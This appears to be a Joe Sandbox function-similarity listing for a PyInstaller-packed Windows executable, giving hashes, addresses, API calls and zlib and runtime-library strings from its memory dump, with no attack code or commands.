Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: ErrorLastMessage$ByteCharFormatMultiWide
String ID: Failed to encode wchar_t as UTF-8.$FormatMessageW$No error messages generated.$PyInstaller: FormatMessageW failed.$PyInstaller: pyi_win32_utils_to_utf8 failed.$WideCharToMultiByte
API String ID: 2920928814-2573406579
Opcode ID: 8a7c589bd815277da55e5032dbfaf14fad2e1b33d14a13ff34ff4e95c7544bc2
Instruction ID: 2be9fe78b642ea5efa633c6bcaa93fd964e0134f57ab31533e386005c997c0d3
Opcode Fuzzy Hash: 8a7c589bd815277da55e5032dbfaf14fad2e1b33d14a13ff34ff4e95c7544bc2
Instruction Fuzzy Hash: 4E216031A18E42A6EB70AB31F8D0A76A265FB89794FC40035E64D826B5EF3CD145C730

Function 00007FF79EA4A338 Relevance: 12.0, Strings: 9, Instructions: 730COMMON

Download Yara Rule

Strings

invalid literal/length code, xrefs: 00007FF79EA4AA44
too many length or distance symbols, xrefs: 00007FF79EA4A4C0
invalid code lengths set, xrefs: 00007FF79EA4A4A7
invalid bit length repeat, xrefs: 00007FF79EA4A741
invalid distances set, xrefs: 00007FF79EA4A819
invalid distance code, xrefs: 00007FF79EA4ABFA
invalid literal/lengths set, xrefs: 00007FF79EA4A7AC
invalid code -- missing end-of-block, xrefs: 00007FF79EA4A728
invalid distance too far back, xrefs: 00007FF79EA4ACAC

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID:
String ID: invalid bit length repeat$invalid code -- missing end-of-block$invalid code lengths set$invalid distance code$invalid distance too far back$invalid distances set$invalid literal/length code$invalid literal/lengths set$too many length or distance symbols
API String ID: 0-2665694366
Opcode ID: c9fd51c14d71560020b511e4453ea2e6ada1d51fd66898c83da3cb6eb71852f9
Instruction ID: e686b4a1bff259c99e7fb136f0f22e662af6937e24821a3fdd5b6db10366cc4b
Opcode Fuzzy Hash: c9fd51c14d71560020b511e4453ea2e6ada1d51fd66898c83da3cb6eb71852f9
Instruction Fuzzy Hash: F152C572A146A687D7A49F28D4C8E7E77ADEB84340F514139E649837D0FB3DD944CB20

Function 00007FF79EA4C4AC Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF79EA4C4C8
RtlCaptureContext.KERNEL32 ref: 00007FF79EA4C4F5
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF79EA4C50F
RtlVirtualUnwind.KERNEL32 ref: 00007FF79EA4C550
IsDebuggerPresent.KERNEL32 ref: 00007FF79EA4C5A4
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF79EA4C5C5
UnhandledExceptionFilter.KERNEL32 ref: 00007FF79EA4C5D0

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: e2d8ec37f49102d448cf8ff6e1cc4a7b9f10d5f9e58c255e7ae627ab0bceba52
Instruction ID: 6fb8c90c4bf9a76486a1ac03354a4e67dbd641bc4a95c5205ce0852309881353
Opcode Fuzzy Hash: e2d8ec37f49102d448cf8ff6e1cc4a7b9f10d5f9e58c255e7ae627ab0bceba52
Instruction Fuzzy Hash: CC313E72608A818AEB70AF70E8807FDA374FB84744F844439DA4E47AA5EF3CD548C724

Function 00007FF79EA5D354 Relevance: 9.3, APIs: 6, Instructions: 269COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA5D39D

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 494f7018f429e3a3156a3848e8a2f878a80914e655882d93d256a720425552d1
Instruction ID: 1f6f711290f21647482cf92cc7940c4b9b18ba1ff2f9c683f258319ad608774c
Opcode Fuzzy Hash: 494f7018f429e3a3156a3848e8a2f878a80914e655882d93d256a720425552d1
Instruction Fuzzy Hash: EAA1B662B2869181EA70EB36A440ABFE3A0FB54BD4F904536DE5D47BA4DF3CE4458730

Function 00007FF79EA565B4 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF79EA5662D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF79EA56645
RtlVirtualUnwind.KERNEL32 ref: 00007FF79EA56680
IsDebuggerPresent.KERNEL32 ref: 00007FF79EA566B9
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF79EA566C3
UnhandledExceptionFilter.KERNEL32 ref: 00007FF79EA566CE

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 1e147023b13237ffbc65418b8e432fc2e6dd89f910f01b87466ecf342e2d3767
Instruction ID: 7af4d0f0aa0d8bd5ecf8d8b4279c0712f07bf755d75f1ad739eedfcd076b511a
Opcode Fuzzy Hash: 1e147023b13237ffbc65418b8e432fc2e6dd89f910f01b87466ecf342e2d3767
Instruction Fuzzy Hash: 24313032618F818ADB609F35E8806BEB3A4FB89754F940136EA8D43B65DF3CD555CB20

Function 00007FF79EA57C50 Relevance: 7.8, APIs: 5, Instructions: 328fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF79EA57CBF
WriteFile.KERNEL32 ref: 00007FF79EA57F76
WriteFile.KERNEL32 ref: 00007FF79EA57FC8
GetLastError.KERNEL32 ref: 00007FF79EA580CA
GetLastError.KERNEL32 ref: 00007FF79EA5812A

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: ErrorFileLastWrite$ConsoleOutput
String ID:
API String ID: 1443284424-0
Opcode ID: a870f68cda9430bfe6b15ba74579c72570b89eb0d9ddc512b88bb86eb6a5cd4d
Instruction ID: ab7e605a46f303154699c840d1f19649605a342c667e96d550516c3f07169bb4
Opcode Fuzzy Hash: a870f68cda9430bfe6b15ba74579c72570b89eb0d9ddc512b88bb86eb6a5cd4d
Instruction Fuzzy Hash: 7DE1FF72A08B819AE721DB74D0805BDB7B1FB45798F914132EE4E57BA9DE38D806C720

Function 00007FF79EA61444 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 244COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79EA5D250: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA5D27E

_get_daylight.LIBCMT ref: 00007FF79EA61561
_get_daylight.LIBCMT ref: 00007FF79EA61572

Strings

?, xrefs: 00007FF79EA614ED

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: d4e410a16d487476c67d218b29ca1888644fd8d47f73a6752703e38714d72d13
Instruction ID: 14fa8d8956e30b03cf1d1a156c9c7054106815ce597017553acc2c02147e2be6
Opcode Fuzzy Hash: d4e410a16d487476c67d218b29ca1888644fd8d47f73a6752703e38714d72d13
Instruction Fuzzy Hash: 96910766F0865285EB30BB35C480A7EAA61EBA1FD4F944135EA4D077E5DF3CD4828770

Function 00007FF79EA49B04 Relevance: 5.4, Strings: 4, Instructions: 398COMMON

Download Yara Rule

Strings

unknown compression method, xrefs: 00007FF79EA49B38
header crc mismatch, xrefs: 00007FF79EA49F9E
, xrefs: 00007FF79EA49BE9
unknown header flags set, xrefs: 00007FF79EA49B59

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID:
String ID: $header crc mismatch$unknown compression method$unknown header flags set
API String ID: 0-4074041902
Opcode ID: be1d48212573e8220cad0fbc78fc00788ac171ee6cf0b3e8ac930acaa513398d
Instruction ID: a1a7fc30e0b148b3ebf4be6f36f6e7a7e183d06bddaea3ba6a1e477d3fce3aae
Opcode Fuzzy Hash: be1d48212573e8220cad0fbc78fc00788ac171ee6cf0b3e8ac930acaa513398d
Instruction Fuzzy Hash: 57F1947260878A46E7B5AF2AD0C8E3ABBE9FF44744F454538DA4D077A4EB38D940C760

Function 00007FF79EA5F5D0 Relevance: 4.8, APIs: 3, Instructions: 317COMMON

Download Yara Rule

APIs

memcpy_s.LIBCPMT ref: 00007FF79EA5F636
memcpy_s.LIBCPMT ref: 00007FF79EA5F661

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: 61c8d48a73c74d7b2b5693099c23eccbf95a4682f3061de545b2f75f73c9d44c
Instruction ID: 4b056ea595aeca5703dc7c13519091f71c1dcab73378629ba451f276c68a09d6
Opcode Fuzzy Hash: 61c8d48a73c74d7b2b5693099c23eccbf95a4682f3061de545b2f75f73c9d44c
Instruction Fuzzy Hash: 81C1C176B1868687DB34DF29A184A7EB792F794784F948139DB4A83754DF3CE800CB60

Function 00007FF79EA4996D Relevance: 4.0, Strings: 3, Instructions: 219COMMON

Download Yara Rule

Strings

invalid window size, xrefs: 00007FF79EA49AD2
unknown compression method, xrefs: 00007FF79EA49A53
incorrect header check, xrefs: 00007FF79EA49AEB

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID:
String ID: incorrect header check$invalid window size$unknown compression method
API String ID: 0-1186847913
Opcode ID: e5489ffdc9239a6bbb5b0a781e308ccd149b9401a2c220e20fc3d81844b516e9
Instruction ID: d9091dbdf6a198385143406ee099c9b06cfa625b3cbc412f8d042c3585cd63a3
Opcode Fuzzy Hash: e5489ffdc9239a6bbb5b0a781e308ccd149b9401a2c220e20fc3d81844b516e9
Instruction Fuzzy Hash: 5691D872A182864BE7B5AF25D4C8E3E76EDFB44344F514139DA4A467A0FB38E941CB20

Function 00007FF79EA4A02C Relevance: 3.9, Strings: 3, Instructions: 161COMMON

Download Yara Rule

Strings

invalid block type, xrefs: 00007FF79EA4A12F
, xrefs: 00007FF79EA4A02C
, xrefs: 00007FF79EA4A04A

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID:
String ID: $ $invalid block type
API String ID: 0-2056396358
Opcode ID: 296c666076ee56b4f777f48a39b6fce6e00ed4a59ca727a8199edae2b727a8e6
Instruction ID: 9724823d64b8aee7e4c854f436030f07f28a5d0f15d70a5f64877d458e74da74
Opcode Fuzzy Hash: 296c666076ee56b4f777f48a39b6fce6e00ed4a59ca727a8199edae2b727a8e6
Instruction Fuzzy Hash: 5261B7B390879A4AE7B1AF29D8CCA3A7AACFB40354F514135D658827E0FB39D545CB20

Function 00007FF79EA5994C Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 251COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA599B0

Strings

gfffffff, xrefs: 00007FF79EA59C61

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: gfffffff
API String ID: 3215553584-1523873471
Opcode ID: 356f030ed7b35362b5f501750a10a67b28f658ed90bf6c8e393e6e46cd14dcf3
Instruction ID: 15679eb6f9f65c01b33cc69a920f3b62bce4b1eeae50af348b43e3ac95419f1e
Opcode Fuzzy Hash: 356f030ed7b35362b5f501750a10a67b28f658ed90bf6c8e393e6e46cd14dcf3
Instruction Fuzzy Hash: 0E915963B083C64AEB25DB369480BBDAB91EB54B80F458132CE5D4B7A1DE3DE502C731

Function 00007FF79EA5A358 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 220COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA5A38E

Part of subcall function 00007FF79EA567E8: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF79EA567C5), ref: 00007FF79EA567F1
Part of subcall function 00007FF79EA567E8: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF79EA567C5), ref: 00007FF79EA56816

Strings

-, xrefs: 00007FF79EA5A580

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: CurrentFeaturePresentProcessProcessor_invalid_parameter_noinfo
String ID: -
API String ID: 4036615347-2547889144
Opcode ID: b729e8a8977ceecfd89cae93a3c6693c94b4856ac56d175175c079b617730af7
Instruction ID: 5726c52c79ac9d72589c194e66bb117af71d9ce3586e37e65e0d2bcc77c8012c
Opcode Fuzzy Hash: b729e8a8977ceecfd89cae93a3c6693c94b4856ac56d175175c079b617730af7
Instruction Fuzzy Hash: BC91F462B0878586EB70AB359484B7DF6A1FB55BD4F844235EA9D03BA9CF3CE4008720

Function 00007FF79EA650A8 Relevance: 3.2, APIs: 2, Instructions: 232COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF79EA652F7
RaiseException.KERNEL32 ref: 00007FF79EA65308

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: ee517001d8d727e3896e11593ea3394e885c1995f059104ed8e3c6087952abb0
Instruction ID: c673372fb3d5671630e15dfd0428f0a594f2b96a95027b9ac0f98356366583f1
Opcode Fuzzy Hash: ee517001d8d727e3896e11593ea3394e885c1995f059104ed8e3c6087952abb0
Instruction Fuzzy Hash: E7B17A73A00B848BEB29DF39C88A66C77A0F785F48F548921DA6D877B4CB39D451C720

Function 00007FF79EA61F30 Relevance: 1.7, APIs: 1, Instructions: 195COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF79EA61F94

Part of subcall function 00007FF79EA55BC0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA55BD4

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo
String ID:
API String ID: 474895018-0
Opcode ID: 3044ee37cc60d3eaf114ce5aaa27a3a7d66fe6401853c1350ed690cc36e8da8f
Instruction ID: 03fd423d6db8c2af5409629a7c707a85e79328d6286557e16f4ba79b6c22a875
Opcode Fuzzy Hash: 3044ee37cc60d3eaf114ce5aaa27a3a7d66fe6401853c1350ed690cc36e8da8f
Instruction Fuzzy Hash: 0C71E332F0CA4246FB746B3884C0E7DE291EB5AB60F950635DB5D866F1DE7DE8818630

Function 00007FF79EA4FDFC Relevance: 1.5, Strings: 1, Instructions: 209COMMON

Download Yara Rule

Strings

0, xrefs: 00007FF79EA4FFCB

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0
API String ID: 3215553584-4108050209
Opcode ID: 392d87230a2f82bcc593fcf95495bab5ad40d3b97372ce6e23882fac41bb142b
Instruction ID: f4bd3d4d8873b42c47f349b7b572bf0a42b4a215669f0dec4271fca389b59afa
Opcode Fuzzy Hash: 392d87230a2f82bcc593fcf95495bab5ad40d3b97372ce6e23882fac41bb142b
Instruction Fuzzy Hash: 1971A22AA2824282E678BB3950D0DBDA2D1FF42744FC47032DD49476B9EF2DE8438735

Function 00007FF79EA542E8 Relevance: 1.5, Strings: 1, Instructions: 207COMMON

Download Yara Rule

Strings

TMP, xrefs: 00007FF79EA54307

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: TMP
API String ID: 3215553584-3125297090
Opcode ID: 68220cee06eb1e49efdf68a7441363e76f193eaf92f3418bfe4dc13cbeb80bd7
Instruction ID: 158831340b116bcd7a9e427636df67df4769bc02f768af6465cde99cbd4531a2
Opcode Fuzzy Hash: 68220cee06eb1e49efdf68a7441363e76f193eaf92f3418bfe4dc13cbeb80bd7
Instruction Fuzzy Hash: 1D618115B1C65241FA78BB366981A7ED2A2EF84BD4FC84035DE0E477B6DE3CE4468230

Function 00007FF79EA4FB94 Relevance: 1.4, Strings: 1, Instructions: 196COMMON

Download Yara Rule

Strings

0, xrefs: 00007FF79EA4FD2D

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0
API String ID: 3215553584-4108050209
Opcode ID: 537ccdf0245c343026de8cdba38534bbf0df83feeead17a75e0001d00461fa3c
Instruction ID: f2f324eba78cfd75f355c1c318e01d34f2068b2e7432ec59d8920c79ba61f22e
Opcode Fuzzy Hash: 537ccdf0245c343026de8cdba38534bbf0df83feeead17a75e0001d00461fa3c
Instruction Fuzzy Hash: 1161D019A0C24646FAB86B395080FBA9B91FF41748FD43131DD88172F9EE2DE8428775

Function 00007FF79EA5EE60 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF79EA5EE64

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

